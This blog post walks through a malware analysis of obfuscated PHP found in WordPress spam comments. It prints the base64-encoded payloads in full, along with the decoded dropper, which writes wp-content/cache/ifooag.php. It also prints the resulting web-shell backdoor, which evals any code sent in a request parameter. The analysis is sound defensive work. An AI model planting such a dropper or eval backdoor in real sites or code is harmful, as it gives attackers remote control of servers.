So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:
eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dw
Or this clearly related one (note that the top of the string is the same):
aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUv aWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/c GhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvK i1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qL ygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9EN UpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2W TNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDO HFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd 0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxT Hk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db 3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14U kNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5c FRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBd FFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLU zhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4a EtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJS GxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ 2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa 3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0Y VF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ 3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjV z4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLU VNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEO W9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS 2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmK i8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZUR m9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL 01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMe ThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvK iAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qU yw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/P icpO2ZjbG9zZSgkZik7fQ==
As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).
Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:
>>> import base64>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w'))
{fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/
\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc
3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qc
iB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM52
0*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6
QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdn
MXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCov
J2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTD
QqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2
sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV
1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo
8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1s
vKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMyg
yMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vK
k4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qO
lo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>
{*/;/*-|lTE1*/?>');fclose($f);}"
(Well, okay, I actually ran
cgi.escape(base64.b64decode(badstring1))
to get the version you're seeing in the blog post since I wanted to make sure none of that was executed, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)
So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.
But that code? Still looks pretty much like gobbledegook.
If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:
eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKn
Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:
Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBR Ki9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRf UkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/Q GV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe 0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqL yd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZ XxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vK mJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX 2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oL ypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczK i8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL 1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8ne icvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZW VAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL 10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vK mJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovO y8qRTsrdidJKi8=
You might think we're getting close now, but here's what you get out of decoding that:
>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*P H49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uT A93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*/ /*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/ev al/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*g3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(2 1d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'z yl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j* //*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I* /"
Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.
Incidentally, I'm just using a simple regular expression to do this:
s/\/\*[^*]*\*\///g
. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc
and then check each piece as I'm removing it.Here's what it looks like without the comments:
if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l' ]))eval(stripslashes($_REQUEST['c'.'z'.'l' .'zyl']));
So let's stick together those concatenated strings again:
if(isset($_REQUEST['czlzyl']))eval(strip slashes($_REQUEST['czlzyl']));
Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?
It's going to go to be a request that starts like this
http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=
Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.
But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!
Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!